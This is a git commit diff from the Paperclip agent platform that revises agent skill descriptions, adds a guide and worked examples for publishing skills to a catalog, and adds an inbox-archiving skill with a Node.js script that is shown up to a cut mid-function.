Merge current master for Briefs restoration

Co-Authored-By: Paperclip <noreply@paperclip.ing>
This commit is contained in:
DottaandPaperclip committed 2026-08-24 07:43:23 +00:00
commit 741b55dbf8
2685 files changed
+1326636 -29005

No files matched your search

+3 -5
View File
@@ -1,11 +1,9 @@
---
name: check-pr
description: >
Checks a GitHub, GitLab, or Perforce (p4) pull request (or merge request, or shelved changelist)
for unresolved review comments, failing status checks, and incomplete PR descriptions. Waits for
pending checks to complete, categorizes issues as actionable or informational, and optionally fixes
and resolves them. Use when the user wants to check a PR/MR/CL, address review feedback, or prepare
a change for submission.
Check a GitHub, GitLab, or Perforce PR/MR/CL for review comments, failing
checks, and PR-body gaps. Use when asked to inspect, fix, or prepare a change
for submission.
license: MIT
compatibility: Requires git and gh (GitHub CLI), glab (GitLab CLI), or p4 (Perforce CLI) installed and authenticated.
metadata:
+3 -9
View File
@@ -1,15 +1,9 @@
---
name: company-creator
description: >
Create agent company packages conforming to the Agent Companies specification
(agentcompanies/v1). Use when a user wants to create a new agent company from
scratch, build a company around an existing git repo or skills collection, or
scaffold a team/department of agents. Triggers on: "create a company", "make me
a company", "build a company from this repo", "set up an agent company",
"create a team of agents", "hire some agents", or when given a repo URL and
asked to turn it into a company. Do NOT use for importing an existing company
package (use the CLI import command instead) or for modifying a company that
is already running in Paperclip.
Create agent company packages that conform to agentcompanies/v1. Use when asked
to create a company, scaffold an agent team, hire agents, or turn a repo/skills
collection into a company package.
---
# Company Creator
+3 -5
View File
@@ -1,11 +1,9 @@
---
name: create-agent-adapter
description: >
Technical guide for creating a new Paperclip agent adapter. Use when building
a new adapter package, adding support for a new AI coding tool (e.g. a new
CLI agent, API-based agent, or custom process), or when modifying the adapter
system. Covers the required interfaces, module structure, registration points,
and conventions derived from the existing claude-local and codex-local adapters.
Create or modify Paperclip agent adapters across server, UI, and CLI surfaces.
Use when adding support for a new CLI agent, API agent, custom process, or
adapter package.
---
# Creating a Paperclip Agent Adapter
@@ -1,18 +1,14 @@
---
name: create-issue-interaction-ui
description: >
Developer/maintainer skill for adding a new issue-thread interaction kind to
the Paperclip codebase end-to-end: shared contract, server service/routes,
UI card, fixtures/Storybook, CLI/MCP/plugin SDK helpers, agent guidance, and
tests. Use when a Paperclip contributor is asked to introduce a new
interaction family (something analogous to `request_confirmation`,
`request_checkbox_confirmation`, `ask_user_questions`, or `suggest_tasks`)
or to extend the issue-thread interaction system with a new card type. Do
NOT install this on production Paperclip agents — it is for repo work, not
agent runtime behavior.
Add a new Paperclip issue-thread interaction kind end-to-end. Use when repo
work introduces or extends interaction cards like request_confirmation,
checkbox confirmations, ask_user_questions, or suggest_tasks.
---
# Create a new issue-thread interaction UI (developer skill)
# Create a new issue-thread interaction UI (Developer/maintainer skill)
Developer/maintainer skill. Do NOT install this on production Paperclip agents.
This skill walks a Paperclip contributor through introducing a new issue-thread
interaction kind from shared contract to issue-detail wiring, helpers, and
@@ -20,6 +16,8 @@ docs. It is intentionally a developer/maintainer skill: the audience is a
human or coding agent making code changes inside `paperclipai/paperclip`, not
the operational agents that run inside a deployed Paperclip company.
Do NOT install this on production Paperclip agents. This guide is for repository contributors changing Paperclip itself.
## When to use
- A new interaction kind is being introduced (compact picker, structured
@@ -0,0 +1,265 @@
---
name: create-paperclip-bundled-skill
description: >
Turn an idea, tweet, or task into a skill in the Paperclip skills catalog
(packages/skills-catalog). Use when asked to FIND or MAKE a skill and publish
it as a bundled/optional catalog skill: research prior art, reference or
author it, add examples, regenerate the manifest, open a PR.
---
# Create a Paperclip Bundled Skill
Take source material — a tweet, a task description, a blog post, "make a skill
that does X" — and land it as a skill in the Paperclip skills catalog
(`packages/skills-catalog/`), delivered as a reviewed PR. The catalog is the
shelf every Paperclip company browses and installs from, so the bar is: correct
metadata, useful instructions, worked examples, and a clean validation run.
The core rule is **FIND before MAKE**: if a good skill already exists (in the
catalog, in this repo, or published on GitHub), reference or adapt it instead
of writing a duplicate from scratch.
## When to use
- A human sends a tweet/link/idea and asks for it to become a Paperclip skill.
- A task asks to bundle an existing repo skill into the catalog.
- A task asks to add an external published skill to the catalog.
## When not to use
- The skill is company-private (belongs in that company's library via the
Skills UI/API, not the shipped catalog).
- You only need a repo-internal agent skill for working on Paperclip itself —
that goes in `.agents/skills/` or `skills/`, with no catalog machinery.
## Step 0 — Capture the source material
Understand exactly what the skill should teach before writing anything.
**Tweets / X links.** Use the `xc` CLI (X API client). Paperclip engineering
agent environments ship it preinstalled and pre-authenticated; it is not a
tool you install or mint credentials for yourself. Check availability before
relying on it:
```sh
command -v xc && xc whoami # on PATH and authenticated? if not, use the fallback below
```
```sh
xc get <post-url-or-id> --json # the post itself (conversation_id, author)
xc search 'conversation_id:<id>' --archive --json # rest of the thread (>7 days old needs --archive)
xc user <username> # author context
xc search '<topic keywords>' -n 30 # related discussion
```
If `xc` is not on PATH, is unauthenticated, or the account lacks read access
(the check above fails for any reason), delegate the
fetch to a teammate with X/Twitter access (e.g. the Content Strategist agent)
via a child issue: give them the URL and ask for full text of the post + thread
+ any linked content.
**Other sources.** Fetch linked articles/READMEs directly. Record the source
URL — it goes in the skill body or PR description as attribution.
Distill: what is the repeatable procedure? What inputs does it take? What does
"done" look like? If the source is just an aspiration ("agents should write
better commit messages"), you are authoring the procedure yourself — say so in
the PR.
## Step 1 — FIND: search for an existing skill
Search in this order; stop when you have a clear winner.
1. **Already in the catalog?** Avoid duplicates (duplicate slugs fail the
build):
```sh
grep -i '<topic>' packages/skills-catalog/generated/catalog.json
ls packages/skills-catalog/catalog/{bundled,optional}/*/
```
2. **Already in this repo?** Check `.agents/skills/`, `skills/`, and issue
history (`gh search issues` / Paperclip board) for prior work on the topic.
3. **Published on GitHub?** Skills are conventionally a directory with a
`SKILL.md`:
```sh
gh search code --filename SKILL.md "<topic>" --limit 20
gh search repos "<topic> skill" --limit 20
```
Also check known collections (e.g. `anthropics/skills`) and do a web search
for `<topic> agent skill SKILL.md`.
Judge candidates by: does the SKILL.md actually contain the procedure (not a
stub)? Is it maintained? What does it bundle (scripts raise the trust level)?
Is the license compatible with redistribution? Then pick a path:
- **Good external skill exists** → add it as an **external reference**
(Step 2A). It stays attributed to and pinned at the upstream repo.
- **Partial match** → author a local skill (Step 2B) that adapts the idea;
credit the source with a link in the SKILL.md body.
- **Nothing usable** → author a new local skill (Step 2B).
## Step 2 — Choose kind, category, and slug
- **kind**: default to `optional`. Use `bundled` only when the skill should
ship to every Paperclip company by default — that needs explicit human/board
direction, not your judgment call.
- **category**: reuse an existing directory when one fits (`browser`,
`content`, `docs`, `finance`, `paperclip-operations`, `product`, `quality`,
`research`, `software-development`). New categories are allowed but must be
lowercase kebab-case slugs.
- **slug**: lowercase kebab-case (`^[a-z0-9]+(-[a-z0-9]+)*$`), unique across
the whole catalog (both kinds).
The skill lives at
`packages/skills-catalog/catalog/<kind>/<category>/<slug>/` and its canonical
key is `paperclipai/<kind>/<category>/<slug>`.
## Step 2A — External reference path (`catalog-ref.json`)
The directory contains **only** `catalog-ref.json` (a directory with both
`catalog-ref.json` and `SKILL.md` fails the build). The manifest builder
fetches the pinned files from GitHub at build time and inventories them.
```sh
# Pin the exact commit for the chosen ref (tag or branch)
gh api repos/<owner>/<repo>/commits/<ref> --jq .sha
```
```json
{
"source": {
"type": "github",
"hostname": "github.com",
"owner": "<owner>",
"repo": "<repo>",
"ref": "<tag-or-branch>",
"commit": "<40-char sha from above>",
"path": "<dir inside the repo containing SKILL.md, or ''>"
},
"files": ["SKILL.md", "references/**", "scripts/run.py"],
"defaultInstall": false,
"recommendedForRoles": ["researcher"],
"requires": ["python3"],
"tags": ["topic", "keywords"]
}
```
Rules the builder enforces:
- `files` entries are exact relative paths or `dir/**` globs; `SKILL.md` must
be included and must have frontmatter with `name` and `description`.
- If the upstream frontmatter declares `key`/`slug`, they must match the
catalog placement — otherwise pick a matching slug or use the local path.
- `commit` must be a full 40-hex SHA; every listed file must be ≤ 1 MiB.
- `recommendedForRoles`, `requires`, `tags` live in the JSON (there is no
local SKILL.md to carry them).
See `catalog/optional/research/last30days/catalog-ref.json` for the live
example, and `examples/external-reference.md` next to this skill.
## Step 2B — Author a local catalog skill
Layout:
```
catalog/<kind>/<category>/<slug>/
├── SKILL.md # required entrypoint
├── examples/ # 1–2 worked examples (Step 3)
├── references/ # optional deep-dive docs
├── scripts/ # optional — raises trust level, avoid unless needed
└── assets/ # optional templates/images
```
`SKILL.md` frontmatter (all validated by the builder):
```markdown
---
name: <slug>
description: >
40–300 chars. Routing logic, not marketing: what it does, when to use it,
when not to.
key: paperclipai/<kind>/<category>/<slug>
recommendedForRoles:
- engineer # non-empty; used for staffing suggestions
tags:
- topic # non-empty; used for browse/search
---
```
Optional frontmatter: `defaultInstall: true` (only for skills every new
company should get), `requires: [node, python3, ...]` for runtime deps.
Body: follow `docs/guides/agent-developer/writing-a-skill.md` — "When to use"
/ "When not to use" sections, concrete commands over prose, supporting detail
in `references/`. If the skill came from a tweet or external source, link it
in the body for attribution.
Trust level is derived from files, not declared: any `scripts/` file makes the
skill `scripts_executables` (install becomes audit-gated and you must extend
the `scriptBearing` expectation in `src/shipped-catalog.test.ts`); `assets/`
or non-markdown files make it `assets`; markdown-only skills stay
`markdown_only`. Prefer markdown-only.
## Step 3 — Write 1–2 worked examples
Create `examples/` inside the skill directory with one or two markdown files,
each a complete input → application → output walkthrough (realistic input, the
skill's steps applied, the finished artifact). These ship with the skill so
installers can judge it before running it, and they keep the trust level at
`markdown_only` because they are `.md` files.
Name them by scenario, e.g. `examples/rewrite-release-note.md`.
## Step 4 — Regenerate the manifest and update tests
Never hand-edit `generated/catalog.json`; it is deterministic build output.
```sh
pnpm --filter @paperclipai/skills-catalog build:manifest # regenerates generated/catalog.json
pnpm --filter @paperclipai/skills-catalog validate # must report no errors
```
(External references need network access to GitHub during these steps.)
Then update `packages/skills-catalog/src/shipped-catalog.test.ts`:
- add the new key to `EXPECTED_BUNDLED_KEYS` or `EXPECTED_OPTIONAL_KEYS`
(alphabetical order);
- if the skill bears scripts, add it to the `scriptBearing` expectation.
```sh
pnpm --filter @paperclipai/skills-catalog test
```
The test suite also enforces the ≤300-char frontmatter description budget
across the repo and the ≥40-char description / non-empty roles+tags rules for
every catalog skill.
## Step 5 — Open the PR
Follow the `prepare-paperclip-pr` skill (`.agents/skills/prepare-paperclip-pr/`)
against `paperclipai/paperclip` master. The diff should contain exactly:
1. the new skill directory (SKILL.md + examples/ + supporting files, **or**
catalog-ref.json),
2. the regenerated `generated/catalog.json`,
3. the `shipped-catalog.test.ts` expectation update.
In the PR body: link the source material (tweet URL, upstream repo), state
whether this is a new skill / adaptation / external reference, and note the
trust level. Reference PR #10410 (simplified-english) as the shape of a
minimal optional-skill PR.
## Gotchas
- `generated/catalog.json` staleness is a validation error — always rerun
`build:manifest` after any file change inside the skill directory (the
inventory carries per-file sha256 hashes).
- Duplicate `slug` across bundled *and* optional fails the build, not just
duplicate keys.
- Symlinks inside a skill directory must resolve within it; directory
symlinks are rejected — copy files in.
- The `bundled` kind and `defaultInstall` are independent axes; don't set
`defaultInstall: true` casually on optional skills.
- For external references the builder fetches from GitHub on every manifest
build; a moved/deleted upstream breaks the build, which is why `commit` is
pinned — prefer upstream tags for `ref`.
@@ -0,0 +1,84 @@
# Example — FIND path: tweet → existing skill → external reference
Real artifact: `packages/skills-catalog/catalog/optional/research/last30days/`.
## Input
Dotta sends a tweet praising a "last 30 days" research workflow that sweeps
Reddit/X/YouTube for what changed recently on a topic.
## Step 0 — Capture
```sh
xc get https://x.com/<author>/status/<id> --json # post text + conversation_id
xc search 'conversation_id:<id>' --archive --json # the rest of the thread
```
The thread links a GitHub repo: `mvanhorn/last30days-skill`, which already
contains a proper skill (`skills/last30days/SKILL.md` plus scripts and
references).
## Step 1 — FIND
- Not in the catalog, not in this repo.
- The upstream repo IS the skill — maintained, tagged releases, real SKILL.md.
- Verdict: **FIND** — add it as an external reference, keep attribution and
updates upstream.
## Step 2A — catalog-ref.json
Placement: `optional` / `research` / `last30days`. Pin the release tag to an
exact commit:
```sh
gh api repos/mvanhorn/last30days-skill/commits/v3.3.0 --jq .sha
# → daca71f89eb71d0d56d01a43ed7627aa919dba4f
```
`catalog/optional/research/last30days/catalog-ref.json` (the only file in the
directory):
```json
{
"source": {
"type": "github",
"hostname": "github.com",
"owner": "mvanhorn",
"repo": "last30days-skill",
"ref": "v3.3.0",
"commit": "daca71f89eb71d0d56d01a43ed7627aa919dba4f",
"path": "skills/last30days"
},
"files": [
"SKILL.md",
"agents/openai.yaml",
"references/**",
"scripts/briefing.py",
"scripts/compare.sh",
"scripts/last30days.py",
"scripts/lib/**",
"scripts/setup-keychain.sh",
"scripts/store.py",
"scripts/watchlist.py"
],
"defaultInstall": false,
"recommendedForRoles": ["researcher", "marketer", "product-manager", "analyst"],
"requires": ["node", "python3"],
"tags": ["research", "last-30-days", "social-media", "trends", "citations", "reddit", "x", "youtube"]
}
```
Metadata (`recommendedForRoles`, `requires`, `tags`) lives in the JSON because
there is no local SKILL.md to carry it.
## Steps 4–5 — Manifest, tests, PR
- `pnpm --filter @paperclipai/skills-catalog build:manifest` fetches the
pinned files from GitHub and inventories them (network required).
- The skill bundles `scripts/`, so trust level derives to
`scripts_executables` → it must also be added to the `scriptBearing`
expectation in `src/shipped-catalog.test.ts`, alongside
`EXPECTED_OPTIONAL_KEYS`.
- PR diff: `catalog-ref.json`, regenerated `generated/catalog.json`, test
expectations. PR body links both the tweet and the upstream repo, and calls
out the elevated trust level so review is deliberate.
@@ -0,0 +1,90 @@
# Example — MAKE path: idea → new optional catalog skill
Real run: PAP-15684 → PR #10410 (`feat(skills-catalog): add optional
/simplified-english skill`).
## Input
Task from Dotta: "make a skill that has agents write user-facing text in
Simplified English." No tweet this time — the source is a known public
specification (ASD-STE100 Simplified Technical English).
## Step 1 — FIND
- `grep -i 'simplified\|plain.english' packages/skills-catalog/generated/catalog.json`
→ no hits; nothing in `.agents/skills/` or `skills/` either.
- `gh search code --filename SKILL.md "simplified technical english"` → no
usable published skill (only STE checker tools, no SKILL.md procedure).
- Verdict: **MAKE** a new local skill.
## Step 2 — Placement
- kind: `optional` (useful, but not something every company must ship with).
- category: `content` (existing category, fits writing/communication).
- slug: `simplified-english`.
- Path: `packages/skills-catalog/catalog/optional/content/simplified-english/`.
## Step 2B — Authoring
One markdown-only `SKILL.md` (trust level stays `markdown_only`):
```markdown
---
name: simplified-english
description: Write user-facing comments, plans, and documents in ASD-STE100 Simplified Technical English — short, unambiguous sentences with approved words and one meaning each — so readers understand them the first time.
key: paperclipai/optional/content/simplified-english
recommendedForRoles:
- engineer
- product
- writer
- devrel
tags:
- writing
- communication
- clarity
- style
---
# Simplified English
For user-facing comments, plans, and documents, write using only ASD-STE100
Simplified Technical English.
## Core rules
- Use short sentences (procedures ≤ 20 words, descriptions ≤ 25 words).
- Give one instruction per sentence.
- Use approved words with one meaning each; avoid synonyms and jargon.
...
```
Note the frontmatter hits every builder rule: description is 40–300 chars,
`key` matches the placement, roles and tags are non-empty.
## Steps 3–4 — Examples, manifest, tests
- Add `examples/rewrite-status-comment.md` showing a jargon-heavy status
comment rewritten under the rules (before/after).
- `pnpm --filter @paperclipai/skills-catalog build:manifest` → regenerates
`generated/catalog.json` with the new entry.
- Add `"paperclipai/optional/content/simplified-english"` to
`EXPECTED_OPTIONAL_KEYS` in `src/shipped-catalog.test.ts` (alphabetical).
- `pnpm --filter @paperclipai/skills-catalog test` → green.
## Step 5 — PR
Four-part diff:
```
packages/skills-catalog/catalog/optional/content/simplified-english/SKILL.md
packages/skills-catalog/catalog/optional/content/simplified-english/examples/rewrite-status-comment.md
packages/skills-catalog/generated/catalog.json
packages/skills-catalog/src/shipped-catalog.test.ts
```
(The historical PR #10410 predates this skill and shipped as a three-part
diff without the `examples/` file; a run that follows this skill includes the
worked example from Step 3 in the same PR.)
PR body links the ASD-STE100 spec as the source and states trust level
`markdown_only`.
@@ -1,10 +1,9 @@
---
name: deal-with-security-advisory
description: >
Handle a GitHub Security Advisory response for Paperclip, including
confidential fix development in a temporary private fork, human coordination
on advisory-thread comments, CVE request, synchronized advisory publication,
and immediate security release steps.
Handle confidential GitHub Security Advisory response for Paperclip. Use when
coordinating advisory triage, private-fork fixes, CVE/publication steps, and
immediate security releases.
---
# Security Vulnerability Response Instructions
@@ -1,13 +1,9 @@
---
name: diagnose-why-work-stopped
description: >
How to handle "why did this work stop / why is this looping?" assignments.
Forensics first on the named tree, surface the exact stop-point, frame the
fix as a general product rule that respects three invariants (productive
work continues, only real blockers stop work, no infinite loops), and
deliver a plan — no code changes — gated by board/CTO approval before
child issues are created. Use whenever the issue title or body asks for
forensics on a stalled, looping, or "went too deep" tree.
Diagnose stalled, looping, or over-recovered Paperclip issue trees and propose
a no-code product-rule plan. Use when asked why work stopped, why it looped, or
how to prevent a tree from going too deep.
---
# Diagnose Why Work Stopped
+3 -5
View File
@@ -1,11 +1,9 @@
---
name: doc-maintenance
description: >
Audit top-level documentation (README, SPEC, PRODUCT) against recent git
history to find drift — shipped features missing from docs or features
listed as upcoming that already landed. Proposes minimal edits, creates
a branch, and opens a PR. Use when asked to review docs for accuracy,
after major feature merges, or on a periodic schedule.
Audit README, SPEC, and PRODUCT docs against recent git history for drift and
make minimal PR-ready edits. Use when asked to review docs for accuracy, after
major feature merges, or on a schedule.
---
# Doc Maintenance Skill
+100
View File
@@ -0,0 +1,100 @@
---
name: garden-inbox
description: Scan a Paperclip user's Mine inbox, classify reversible archive candidates, request checkbox confirmation, and archive only accepted selections. Use when asked to garden, clean up, prune, or tidy a Paperclip inbox without changing issues, branches, or workspaces.
---
# Garden Inbox
Use the bundled script for every stage. Keep the workflow strictly ordered: `scan` → `confirm` → `apply`.
## Safety contract
- Treat `scan` as read-only. It may read inbox, workspace, close-readiness, and local Git metadata only.
- Treat `confirm` as a confirmation-card write only. It must not archive inbox entries or mutate issue fields, branches, or workspaces.
- Run `apply` only after a resolved `request_checkbox_confirmation` interaction. It archives only accepted option IDs that also occur in the originating `candidates.json`.
- Remember that inbox archive state is per-user presentation state. It is reversible and does not change the underlying issue.
- Never substitute issue status changes, branch deletion, workspace cleanup, or issue deletion for inbox archiving.
## Inputs
Require `PAPERCLIP_API_URL` and `PAPERCLIP_API_KEY`. The script strips a trailing `/api` from the URL. It resolves the target user from the run JWT payload's `responsible_user_id`; use `--user-id <uuid>` only for an explicit target override.
Use a run-owned output directory when available:
```bash
RUN_DIR="${PAPERCLIP_RUN_SCRATCH_DIR:-${PAPERCLIP_TASK_SCRATCH_DIR:-.}}/garden-inbox"
mkdir -p "$RUN_DIR"
```
## 1. Scan
```bash
node .agents/skills/garden-inbox/scripts/garden-inbox.mjs scan \
--output-dir "$RUN_DIR" \
--stale-days 60
```
Inspect `garden-inbox-report.md` and `candidates.json`. The report groups every inbox row into exactly one bucket:
The scan reads Mine separately for each included issue status so the endpoint's global 500-row cap does not silently omit older rows. If any single-status query reaches that cap, both outputs mark coverage as possibly truncated; do not treat that scan as complete.
- A: merged/archived workspace and all linked work terminal; selected by default.
- B: terminal or workspace-gone work idle beyond the threshold; selected by default.
- C: stale work with commits ahead of base; never selected by default.
- D: keep; never offered for archiving.
Do not manually promote bucket D entries into the candidate file.
## 2. Confirm
Post checkbox interactions on the driving issue:
```bash
node .agents/skills/garden-inbox/scripts/garden-inbox.mjs confirm \
--issue-id "$PAPERCLIP_TASK_ID" \
--candidates "$RUN_DIR/candidates.json"
```
The script posts sequential cards when a scan has more than 200 candidates. Re-running `confirm` with the same scan file is idempotent. Leave the driving issue in the waiting posture required by the surrounding Paperclip heartbeat workflow.
When a candidate was declined by the user in an earlier pass, pass `--unselect <issueId>` (repeatable) so it starts unchecked and its description notes the earlier decline. Never re-offer previously declined items as default-checked.
For development or payload review, suppress the POST:
```bash
node .agents/skills/garden-inbox/scripts/garden-inbox.mjs confirm \
--issue-id "$PAPERCLIP_TASK_ID" \
--candidates "$RUN_DIR/candidates.json" \
--dry-run
```
## 3. Apply accepted selections
After an interaction-resolution wake, take the resolved interaction ID from the wake payload and run:
```bash
node .agents/skills/garden-inbox/scripts/garden-inbox.mjs apply \
--issue-id "$PAPERCLIP_TASK_ID" \
--interaction-id "$INTERACTION_ID" \
--candidates "$RUN_DIR/candidates.json"
```
On rejection, expiry, or an accepted empty selection, the script archives nothing. Apply preserves the scan file's target user, including an explicit `--user-id` override. Its summary includes the API undo path and target-user body for every archived row.
Test `apply` without API writes by supplying a saved interaction response:
```bash
node .agents/skills/garden-inbox/scripts/garden-inbox.mjs apply \
--issue-id "$PAPERCLIP_TASK_ID" \
--interaction-file resolved-interaction.json \
--candidates "$RUN_DIR/candidates.json" \
--dry-run
```
## Verify the bundled logic
Run the zero-dependency Node tests after changing classification or selection safety:
```bash
node --test .agents/skills/garden-inbox/scripts/garden-inbox.test.mjs
```
+721
View File
@@ -0,0 +1,721 @@
#!/usr/bin/env node
import { createHash } from "node:crypto";
import { execFileSync } from "node:child_process";
import { mkdirSync, readFileSync, writeFileSync } from "node:fs";
import { dirname, resolve } from "node:path";
import { pathToFileURL } from "node:url";
const TERMINAL_STATUSES = new Set(["done", "cancelled"]);
const OFFERED_BUCKETS = new Set(["A", "B", "C"]);
const DEFAULT_STALE_DAYS = 60;
const INTERACTION_LIMIT = 200;
const INBOX_MINE_STATUSES = ["backlog", "todo", "in_progress", "in_review", "blocked", "done"];
const INBOX_QUERY_CAP = 500;
class ApiError extends Error {
constructor(status, message, body = null) {
super(`${status}: ${message}`);
this.name = "ApiError";
this.status = status;
this.body = body;
}
}
function usage() {
return `Usage:
garden-inbox.mjs [scan] [--user-id UUID] [--stale-days 60] [--output-dir DIR]
garden-inbox.mjs confirm [--issue-id ID] [--candidates FILE] [--unselect ISSUE_ID]... [--dry-run]
garden-inbox.mjs apply [--issue-id ID] (--interaction-id ID | --interaction-file FILE) [--candidates FILE] [--dry-run]
Common environment:
PAPERCLIP_API_URL, PAPERCLIP_API_KEY, PAPERCLIP_RUN_ID, PAPERCLIP_TASK_ID`;
}
function parseArgs(argv) {
const args = [...argv];
let command = "scan";
if (args[0] && !args[0].startsWith("-")) command = args.shift();
if (!["scan", "confirm", "apply"].includes(command)) throw new Error(`Unknown command: ${command}`);
const options = {};
while (args.length > 0) {
const token = args.shift();
if (token === "--help" || token === "-h") {
options.help = true;
continue;
}
if (!token.startsWith("--")) throw new Error(`Unexpected argument: ${token}`);
const key = token.slice(2).replaceAll("-", "_");
if (key === "dry_run") {
options[key] = true;
continue;
}
const value = args.shift();
if (value === undefined || value.startsWith("--")) throw new Error(`${token} requires a value`);
if (options[key] === undefined) options[key] = value;
else options[key] = Array.isArray(options[key]) ? [...options[key], value] : [options[key], value];
}
return { command, options };
}
function required(value, name) {
if (typeof value !== "string" || value.trim() === "") throw new Error(`${name} is required`);
return value.trim();
}
function normalizeApiBase(value) {
let base = required(value, "PAPERCLIP_API_URL").replace(/\/+$/, "");
if (base.endsWith("/api")) base = base.slice(0, -4);
return base;
}
function runtime(options, { requireApi = true } = {}) {
const apiUrl = options.api_url ?? process.env.PAPERCLIP_API_URL;
const apiKey = options.api_key ?? process.env.PAPERCLIP_API_KEY;
return {
apiBase: requireApi ? normalizeApiBase(apiUrl) : (apiUrl ? normalizeApiBase(apiUrl) : null),
apiKey: requireApi ? required(apiKey, "PAPERCLIP_API_KEY") : apiKey ?? null,
runId: options.run_id ?? process.env.PAPERCLIP_RUN_ID ?? null,
};
}
async function apiRequest(context, path, { method = "GET", body } = {}) {
const headers = { Accept: "application/json", Authorization: `Bearer ${context.apiKey}` };
if (body !== undefined) headers["Content-Type"] = "application/json";
if (method !== "GET" && context.runId) headers["X-Paperclip-Run-Id"] = context.runId;
const response = await fetch(`${context.apiBase}/api${path}`, {
method,
headers,
body: body === undefined ? undefined : JSON.stringify(body),
});
const text = await response.text();
let parsed = null;
if (text) {
try { parsed = JSON.parse(text); } catch { parsed = text; }
}
if (!response.ok) {
const message = parsed && typeof parsed === "object"
? parsed.error ?? parsed.message ?? response.statusText
: parsed ?? response.statusText;
throw new ApiError(response.status, String(message), parsed);
}
return parsed;
}
function decodeJwtPayload(token) {
const parts = required(token, "PAPERCLIP_API_KEY").split(".");
if (parts.length < 2) throw new Error("PAPERCLIP_API_KEY is not a JWT; pass --user-id explicitly");
try {
return JSON.parse(Buffer.from(parts[1], "base64url").toString("utf8"));
} catch {
throw new Error("Could not decode the PAPERCLIP_API_KEY JWT payload; pass --user-id explicitly");
}
}
function resolveUserId(options, apiKey) {
if (options.user_id) return required(options.user_id, "--user-id");
const userId = decodeJwtPayload(apiKey).responsible_user_id;
if (typeof userId !== "string" || userId.trim() === "") {
throw new Error("Run JWT has no responsible_user_id; pass --user-id explicitly");
}
return userId.trim();
}
function parsePositiveInteger(value, fallback, name) {
if (value === undefined) return fallback;
const parsed = Number(value);
if (!Number.isInteger(parsed) || parsed < 1 || parsed > 3650) {
throw new Error(`${name} must be an integer from 1 to 3650`);
}
return parsed;
}
function validDate(value) {
if (!value) return null;
const date = new Date(value);
return Number.isNaN(date.getTime()) ? null : date;
}
function latestDate(...values) {
return values.flat().map(validDate).filter(Boolean).sort((left, right) => right.getTime() - left.getTime())[0] ?? null;
}
function runGit(args, cwd) {
try {
return execFileSync("git", ["-C", cwd, ...args], {
encoding: "utf8",
stdio: ["ignore", "pipe", "ignore"],
timeout: 5_000,
}).trim();
} catch {
return "";
}
}
function gitLastCommitAt(branchName, roots) {
if (!branchName) return null;
for (const root of [...new Set(roots.filter(Boolean))]) {
const parsed = validDate(runGit(["log", "-1", "--format=%cI", branchName], root));
if (parsed) return parsed;
}
return null;
}
function findLocalBranch(identifier, roots) {
if (!identifier) return null;
const needle = identifier.toLowerCase();
for (const root of [...new Set(roots.filter(Boolean))]) {
const branches = runGit(["for-each-ref", "--format=%(refname:short)", "refs/heads"], root)
.split("\n").map((branch) => branch.trim()).filter(Boolean)
.filter((branch) => branch.toLowerCase().includes(needle));
if (branches.length === 1) return branches[0];
}
return null;
}
async function mapLimit(values, limit, mapper) {
const results = new Array(values.length);
let cursor = 0;
async function worker() {
while (cursor < values.length) {
const index = cursor++;
results[index] = await mapper(values[index], index);
}
}
await Promise.all(Array.from({ length: Math.min(limit, values.length) }, worker));
return results;
}
async function fetchMineInboxRows(context, userId) {
const statusResults = await Promise.all(INBOX_MINE_STATUSES.map(async (status) => {
const query = new URLSearchParams({ userId, status });
const rows = await apiRequest(context, `/agents/me/inbox/mine?${query}`);
if (!Array.isArray(rows)) throw new Error(`Inbox API returned a non-array response for status ${status}`);
return { status, rows };
}));
const rowsById = new Map();
const statusCounts = {};
const cappedStatuses = [];
let duplicateCount = 0;
for (const { status, rows } of statusResults) {
statusCounts[status] = rows.length;
if (rows.length >= INBOX_QUERY_CAP) cappedStatuses.push(status);
for (const issue of rows) {
if (rowsById.has(issue.id)) duplicateCount += 1;
rowsById.set(issue.id, issue);
}
}
return {
rows: [...rowsById.values()],
coverage: {
strategy: "per_status",
queryCap: INBOX_QUERY_CAP,
statusCounts,
cappedStatuses,
duplicateCount,
complete: cappedStatuses.length === 0,
},
};
}
async function inspectWorkspace(context, workspaceId, issueIdentifiers, gitRoot) {
let workspace = null;
let readiness = null;
let gone = false;
let error = null;
try {
workspace = await apiRequest(context, `/execution-workspaces/${encodeURIComponent(workspaceId)}`);
} catch (caught) {
if (caught instanceof ApiError && caught.status === 404) gone = true;
else error = caught.message;
}
if (workspace) {
try {
readiness = await apiRequest(context, `/execution-workspaces/${encodeURIComponent(workspaceId)}/close-readiness`);
} catch (caught) {
error = error ?? caught.message;
}
}
const roots = [workspace?.cwd, workspace?.providerRef, readiness?.git?.repoRoot, readiness?.git?.workspacePath, gitRoot];
let branchName = workspace?.branchName ?? readiness?.git?.branchName ?? null;
if (!branchName && gone) {
const matches = issueIdentifiers.map((identifier) => findLocalBranch(identifier, roots)).filter(Boolean);
if (new Set(matches).size === 1) branchName = matches[0];
}
const branchCommitAt = gitLastCommitAt(branchName, roots);
return {
id: workspaceId,
gone,
error,
status: workspace?.status ?? null,
branchName,
lastUsedAt: workspace?.lastUsedAt ?? null,
branchCommitAt: branchCommitAt?.toISOString() ?? null,
readiness,
};
}
function reason(code, message, facts = {}) {
return { code, message, facts };
}
function classify(issue, workspaceInfo, staleDays, now) {
const terminal = TERMINAL_STATUSES.has(issue.status);
const workspaceArchived = workspaceInfo?.status === "archived";
const workspaceGone = Boolean(workspaceInfo?.gone);
const readiness = workspaceInfo?.readiness ?? null;
const linkedIssues = Array.isArray(readiness?.linkedIssues) ? readiness.linkedIssues : [];
const allLinkedIssuesTerminal = Boolean(readiness) && linkedIssues.every((linked) => linked.isTerminal === true);
const mergedIntoBase = readiness?.git?.isMergedIntoBase === true;
const aheadCount = Number.isInteger(readiness?.git?.aheadCount) ? readiness.git.aheadCount : null;
const blockerAttention = issue.blockerAttention?.state;
const hasOpenBlockers = issue.status === "blocked"
|| (Array.isArray(issue.blockedBy) && issue.blockedBy.some((blocker) => !TERMINAL_STATUSES.has(blocker.status)))
|| (typeof blockerAttention === "string" && blockerAttention !== "none");
const awaitingUser = issue.blockedInboxAttention?.state === "awaiting_decision"
|| (issue.status === "in_review" && Boolean(issue.assigneeUserId));
const issueActivity = latestDate(issue.lastActivityAt, issue.updatedAt, issue.createdAt);
const branchActivity = latestDate(workspaceInfo?.branchCommitAt, workspaceInfo?.lastUsedAt);
const lastActivity = latestDate(issueActivity, branchActivity) ?? new Date(0);
const cutoff = new Date(now.getTime() - staleDays * 86_400_000);
const stale = lastActivity.getTime() <= cutoff.getTime();
const facts = {
issueStatus: issue.status,
workspaceStatus: workspaceInfo?.status ?? null,
